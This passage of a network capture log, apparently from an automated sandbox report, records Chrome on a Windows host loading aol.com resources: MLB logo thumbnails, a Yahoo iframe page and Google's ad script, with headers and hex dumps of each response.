2024-05-23 22:34:50 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 291201452673130966952938246903968807838,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100137-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 291201452673130966952938246903968807838,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "3cb4a068edb5121cffac9baaedd50690" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 21:48:23 GMT Server: ECAcc (lhd/3594) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1243,owidth=50,oheight=50,obytes=1284,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000029-IAD X-Timer: S1711411322.456364,VS0,VE2 Content-Length: 1243 Connection: close
2024-05-23 22:34:50 UTC	1243	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 4f 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 df ff ff ff ff ff fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d4 a2 58 ff ff ff ff f7 e4 ff f3 d4 ff ff ff ff ff ff ff ff ff ff f9 eb ff ff ff ff f2 d1 ff f1 cf ff ff ff ff ee c1 ff ff ff ff ff ff ff ff ff ff f2 d1 ff ff ff ff ec ba ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 d1 ff ff ff ff ff ff ff ff ff ff ff ff ff f7 e3 ff ff ff ff ff ff ff ff ff ff f7 e3 ff fe fd ff fe fc ff ff ff ff ff ff ff f3 d4 ff ff ff ff fe fa ff ff ff ff fa ec ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xOPLTEGpLX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.6	49883	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	702	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FJXstQIXskrijadWN4CrVWw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20200323%2F500x500%2Fbrewers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=56ba0bfafd8e5d4e164cb8997565cb39aeac59ae HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1510	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 379824895873875117746625377467473691998,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21980-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 84 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 379824895873875117746625377467473691998,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "03919e0797fc14ea543571a9ceb04838" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35A9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2464,owidth=50,oheight=50,obytes=3489,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.454500,VS0,VE2 Content-Length: 2464 Connection: close
2024-05-23 22:34:50 UTC	2464	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2e ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f ff c5 2f 12 28 4b 07 35 7f 12 28 4c 07 35 7e 07 35 7d 0f 2b 58 ff c5 2f 41 47 45 08 34 7a 11 2a 51 11 29 4f dd ae 33 09 32 73 1a 2f 51 15 2b 4d e9 b6 32 0f 2c 5a 0d Data Ascii: PNGIHDR22)xPLTEGpL///.//////.///.//////////////////////////////////////(K5(L5~5}+X/AGE4z*Q)O32s/Q+M2,Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.6	49884	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	703	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FEymZRBHvGs3_SkFA6laCUw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fmarlins_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=a962b344615cb6a98b4175735f4a69db77f28b25 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1503	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2564809 Cache-Control: public, max-age=2592000 Cache-Tag: 486180871855964739240050906378015805461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21932-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 65 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 486180871855964739240050906378015805461,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "718df2b367ed1209d7fb7ceab098e132" Expiration: expiry-date="Sun, 11 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 12 Feb 2024 18:29:14 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2199,owidth=50,oheight=50,obytes=3523,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21920-LGA X-Timer: S1711346882.704987,VS0,VE1 Content-Length: 2199 Connection: close
2024-05-23 22:34:50 UTC	2199	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 f7 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff dc f2 fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e5 f5 fc ff ff ff ff fe fe ff ff ff ff ff ff ff ff ff ee f9 fd ff ff ff ff ff ff ff ff ff ff ff ff fe f7 f7 f6 fa fc ff ff ff ff ff ff fa fd fe fd ee f0 ff ff ff ff ff ff ff ff ff fe ff ff cb ec f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d5 e0 e6 fd e2 e4 ff ff ff ff fe fe fe f2 f3 ff ff ff ff ff ff fc d3 d6 f7 fb fd fb fe ff cd ec f9 ff ff ff ff ff ff e6 ed f1 ff ff ff ff ff ff fb c5 c9 ed f8 fd d6 f0 fa ff ff ff ff ff ff fd fe fe ff ff ff da ec f4 dc e6 ec ff fb fb b2 de f0 ff ff ff 00 Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.6	49885	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	934	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FIjw0_3b8a1CMPGSAXMtS8g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190319%2F500x500%2Fyankees_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=ff1d4fa8605c9733c7da8efc8f7f5acc20916320 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1139	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2519129 Cache-Control: public, max-age=2592000 Cache-Tag: 496633143958043036134076462289524311781,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000024-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 496633143958043036134076462289524311781,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "b65f65b22efb7c7b99c0a9b1b4c3e9cb" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT Server: ECAcc (lhd/35B9) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2085,owidth=50,oheight=50,obytes=2467,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000105-IAD X-Timer: S1711392562.914749,VS0,VE2 Content-Length: 2085 Connection: close
2024-05-23 22:34:50 UTC	2085	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f1 f2 f4 ff ff ff ff ff ff ff ff ff ff ff ff e8 ea ed fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fa fa fb fb fc fc fd fd fe f8 f8 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f9 f9 fa f7 f8 f9 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 12 22 47 d2 d5 dc ff ff ff ec ed f0 ff ff ff ff ff ff ff ff ff f3 f4 f6 ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL"G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.6	49886	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	709	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FOHTDIcS3OqqJHOtudo3U_g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20211123%2F500x500%2FBoston-Red-Sox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=3196918a1fe607d3480e4199512d4c82a7361c33 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1501	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2507851 Cache-Control: public, max-age=2592000 Cache-Tag: 182984461189557618752305926179485245855,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21925-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 182984461189557618752305926179485245855,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "19a33967e0666239acaac99593b85828" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:09 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35F1) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2128,owidth=50,oheight=50,obytes=2427,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-lga21925-LGA X-Timer: S1713995839.291637,VS0,VE1 Content-Length: 2128 Connection: close
2024-05-23 22:34:50 UTC	2128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fd ff ff ff ff ff ff ff ff ff f9 f9 fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 f3 f5 ff ff ff ff ff ff f4 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fc ff ff ff ff ff ff fe ff ff ff ff ff fc fc fd fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.6	49891	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	699	OUT	GET /rx/ev/builds/1.6.29/pframe.html HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	839	IN	HTTP/1.1 200 OK x-amz-id-2: LNuSr4qUrXMXLZNGpI4ltFaD6e8WPYUABeHbhRGG+680XNtZBaCh96JSXjI974f4Tb9ulDslPTw= x-amz-request-id: 5PKZTRRM2SY7S22Z Date: Thu, 23 May 2024 17:19:55 GMT Last-Modified: Tue, 21 May 2024 22:19:07 GMT ETag: "2aa7ef0b22f0b66cafbdaacff599771d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=536112000 x-amz-version-id: 5PTq6LHcs61LaAun9QcaRGyV8LBuVV4. Accept-Ranges: bytes Content-Type: text/html Server: ATS Content-Length: 539 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 18896 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:50 UTC	539	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 20 62 6f 64 79 20 7b 20 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 7d 0a 20 20 20 20 20 20 20 20 23 70 66 72 61 6d 65 2d 72 6f 6f 74 2c 20 23 70 66 72 61 6d 65 2d 70 6c 61 79 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 Data Ascii: <!DOCTYPE html><html><head> <meta charset="UTF-8"> <style> html, body { width: 100%; height: 100%; margin: 0; padding: 0; overflow: hidden } #pframe-root, #pframe-player-container { height: 100%; } </style></head><body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.6	49890	142.250.186.66	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:50 UTC	615	OUT	GET /tag/js/gpt.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	781	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Vary: Accept-Encoding Date: Thu, 23 May 2024 22:34:50 GMT Expires: Thu, 23 May 2024 22:34:50 GMT Cache-Control: private, max-age=900, stale-while-revalidate=3600 Content-Type: text/javascript; charset=UTF-8 ETag: 276 / 19866 / 31083928 / config-hash: 5513061957688964879 Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 111364 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:34:50 UTC	609	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 73 74 74 63 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 29 7b 67 6f 6f 67 6c 65 74 61 67 2e 65 76 61 6c 53 63 72 69 70 74 73 28 29 3b 7d 69 66 28 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 26 26 67 6f 6f 67 6c 65 74 61 67 2e 5f 6c 6f 61 64 65 64 5f 29 72 65 74 75 72 6e 3b 76 61 72 20 6e 2c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 62 61 3d 22 66 75 6e Data Ascii: (function(sttc){var window=this;if(window.googletag&&googletag.evalScripts){googletag.evalScripts();}if(window.googletag&&googletag._loaded_)return;var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="fun
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 66 69 6e 64 20 67 6c 6f 62 61 6c 20 6f 62 6a 65 63 74 22 29 3b 7d 2c 64 61 3d 63 61 28 74 68 69 73 29 2c 65 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 28 22 78 22 29 2c 74 3d 7b 7d 2c 68 61 3d 7b 7d 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 21 63 7c 7c 6e 75 6c 6c 21 3d 61 29 7b 63 3d 68 61 5b 62 5d 3b 69 66 28 6e 75 6c 6c 3d 3d 63 29 72 65 74 75 72 6e 20 61 5b 62 5d 3b 63 3d 61 5b 63 5d 3b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 21 3d 3d 63 3f 63 3a 61 5b 62 5d 7d 7d 2c 77 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: th==Math)return c}throw Error("Cannot find global object");},da=ca(this),ea="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),t={},ha={},u=function(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}},w=function(
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 61 28 61 61 28 74 68 69 73 29 29 7d 7d 29 7d 72 65 74 75 72 6e 20 61 7d 2c 22 65 73 36 22 29 3b 76 61 72 20 69 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 7b 6e 65 78 74 3a 61 7d 3b 61 5b 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 72 65 74 75 72 6e 20 61 7d 2c 6a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 61 77 3d 61 7d 2c 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 53 79 6d 62 6f 6c 26 26 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 69 74 65 72 61 74 6f 72 22 29 26 26 61 5b 75 28 74 2e 53 79 6d 62 6f 6c 2c 22 Data Ascii: ion(){return ia(aa(this))}})}return a},"es6");var ia=function(a){a={next:a};a[u(t.Symbol,"iterator")]=function(){return this};return a},ja=function(a){return a.raw=a},x=function(a){var b="undefined"!=typeof t.Symbol&&u(t.Symbol,"iterator")&&a[u(t.Symbol,"
2024-05-23 22:34:50 UTC	1390	IN	Data Raw: 72 69 70 74 6f 72 28 62 2c 63 29 3b 64 26 26 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 63 2c 64 29 7d 65 6c 73 65 20 61 5b 63 5d 3d 62 5b 63 5d 3b 61 2e 6e 62 3d 62 2e 70 72 6f 74 6f 74 79 70 65 7d 2c 73 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 61 3d 4e 75 6d 62 65 72 28 74 68 69 73 29 2c 62 3d 5b 5d 2c 63 3d 61 3b 63 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 62 5b 63 2d 61 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 63 5d 3b 72 65 74 75 72 6e 20 62 7d 3b 77 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 6e 64 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 61 3a 7b 76 61 72 20 64 3d 74 68 69 73 3b 64 20 69 Data Ascii: riptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.nb=b.prototype},sa=function(){for(var 